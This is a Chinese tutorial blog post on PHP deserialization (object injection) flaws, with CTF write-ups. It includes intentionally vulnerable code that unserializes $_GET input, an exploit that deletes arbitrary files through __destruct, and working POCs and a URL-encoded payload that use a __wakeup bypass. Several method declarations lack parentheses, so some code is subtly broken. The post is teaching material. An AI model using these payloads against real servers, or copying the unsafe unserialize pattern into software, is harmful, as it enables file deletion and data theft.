最全的PHP反序列化漏洞的理解和应用

100人浏览 2025-01-12 09:16:09

php反序列化漏洞，又叫php对象注入漏洞，是一种常见的漏洞，在我们进行代码审计以及CTF中经常能够遇到。

学习前最好提前掌握的知识

PHP类与对象
PHP魔术方法
serialize()

（http://php.net/manual/zh/function.serialize.php）

与unserialize()

（http://php.net/manual/zh/function.unserialize.php）

序列化与反序列化

PHP （从 PHP 3.05 开始）为保存对象提供了一组序列化和反序列化的函数：serialize、unserialize。

serialize()

当我们在php中创建了一个对象后，可以通过serialize()把这个对象转变成一个字符串，用于保存对象的值方便之后的传递与使用。测试代码如下；

<?php
class people
{
public $name = "f1r3K0";
public $age = '18';
}
$class = new people;
$class_ser = serialize($class);
print_r($class_ser);
?>

测试结果：

O:6:"people":2:{s:4:"name";s:6:f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母 O

下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的，unserialize()可以从序列化后的结果中恢复对象（object），我们翻阅PHP手册发现官方给出的是：unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数，如下：

<?php
class people
{
public $name = "f1r3K0";
public $age = '18';
}
$class = new people;
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

提醒一下，当使用 unserialize() 恢复对象时，将调用 __wakeup() 成员函数。（先埋个伏笔，这个点后面会提）

反序列化漏洞

由前面可以看出，当传给 unserialize() 的参数可控时，我们可以通过传入一个"精心”构造的序列化字符串，从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”，就是我们常说的"魔术方法" 这里我们着重关注一下几个：

__construct()：构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct()：析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。
__wakeup()：如前所提，unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。

测试如下：

<?php
class people
{
public $name = "f1r3K0";
public $age = '18';
function __wakeup
{
echo "__wakeup";
}
function __construct
{
echo "__consrtuct";
}
function __destruct
{
echo "__destruct";
}
function __toString
{
echo "__toString";
}
/*function __sleep
{
echo "__sleep";
}*/
}
$class = new people;
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

结果如下：

从运行结果来看，我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时，对于其他方法的调用顺序也一目了然了。（注意：这里我将sleep注释掉了，因为sleep会在序列化的时候调用，因此执行sleep方法就不会再执行序列以及之后的操作了。）

利用场景

__wakeup()和destruct()

由前可以看到，unserialize()后会导致wakeup() 或destruct()的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中，从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子，代码如下：

	//logfile.php 删除临时日志文件
	<?php
	class LogFile {
	//log文件名
	public $filename = 'error.log';
	//存储日志文件
	public function LogData($text) {
	echo 'Log some data:' . $text . '<br />';
	file_put_contents($this->filename, $text, FILE_APPEND);
	}
	//Destructor删除日志文件
	public function __destruct {
	echo '__destruct delete' . $this->filename . 'file.<br />';
	unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件
	}
	}
	?>
	//包含了’logfile.php’的主页面文件index.php
	<?php
	include 'logfile.php';
	class User {
	//属性
	public $age = 0;
	public $name = '';

//调用函数来输出类中属性

	public function PrintData {
	echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';
	}
	}
	$usr = unserialize($_GET['user']);
	?>

梳理下这2个php文件的功能，index.php是一个有php序列化漏洞的主业文件，logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。这个代码写的有点逻辑漏洞的感觉，利用这个漏洞的方式就是，通过构造能够删除source.txt的序列化字符串，然后get方式传入被反序列化函数,反序列化为对象，对象销毁后调用__destruct来删除source.txt.

漏洞利用exp

	<?php
	include 'logfile.php';
	$obj = new LogFile;
	$obj->filename = 'source.txt'; //source.txt为你想删除的文件
	echo serialize($obj) . '<br />';
	?>

这里我们通过['GET']传入序列化字符串，调用反序列化函数来删除想要删除的文件。

之前还看到过一个wakeup非常有意思的例子，这里直接上链接了

chybeta浅谈PHP反序列化
https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接：（
http://web.jarvisoj.com:32768/index.php）

前面几步都是很常见的读文件源码

这里直接放出给的两个源码

//index.php<?phprequire_once('shield.php');$x = new Shield;isset($_GET['class']) && $g = $_GET['class'];if (!empty($g)) {$x = unserialize($g);}echo $x->readfile;?>上边index.php提示了包含的shield.php所以说直接构造base64就完事了//shield.php<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile {if (!empty($this->file) && stripos($this->file,'..')===FALSE&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容，输出了readfile方法

shield.php 1.首先就能发现file是可控的（利用点） 2.construct在index中实例化的时候就已经执行了，因此不会影响我们对可控$file的利用。

构造poc

<?phpclass Shield{public $file = "pctf.php";}$flag = new Shield;print_r(serialize($flag));?>最终poc:

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}ciscn2019 web1- JustSoso读源码的过程省略//index.php<html><?phperror_reporting(0);$file = $_GET["file"];$payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');exit;}}$payload = unserialize($payload);}else{echo "Missing parameters";}?></html><?phpclass Handle{private $handle;public function __wakeup{foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) {$this->handle = $handle;}public function __destruct{$this->handle->getFlag;}}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag=&$this->token;}public function getFlag{$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo @highlight_file($this->file,true);}}}}

其实刚开始做的时候是很懵逼了，一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败，这样就可以在payload里出现flag，这里应该n1ctf的web eating cms的绕过方式，添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup里的将$k赋值为空的操作，这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

简单来说就是，当两个变量指向同一地址时，例如： $b=&$a,这里的 $b指向的是 $a的区域，这样b就随着a变化而变化，同样的原理，我们在第二步序列化时加上这一步

$b = new Flag("flag.php");$b->token=&$b->token_flag;$a = new Handle($b);

这样最后的token就和token_flag保持一致了。

最后的POC

<?phpclass Handle{private $handle;public function __wakeup{foreach(get_object_vars($this) as $k => $v){$this->$k = null;}echo "Waking upn";}public function __construct($handle){$this->handle = $handle;}public function __destruct{$this->handle->getFlag;}}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag{if(isset($this->file)){echo @highlight_file($this->file,true);}}}$b = new Flag("flag.php");$b->token=&$b->token_flag;$a = new Handle($b);echo(serialize($a));?>

这里还有一个点就是我们需要用%00来补全空缺的字符，又因为含有private 变量，需要 encode 一下。

最终payload：

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中，就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名，把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的，层层递进，最终去构造出一个有杀伤力的payload。

参考文章

http://p0desta.com/2018/04/01/php反序列化总结/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/

相关操作学习：

PHP反序列化漏洞实验：明白什么是反序列化漏洞，漏洞成因以及如何挖掘和预防此类漏洞。点击

http://www.hetianlab.com/expc.do?ec=
ECID172.19.104.182016010714511600001，开始操作！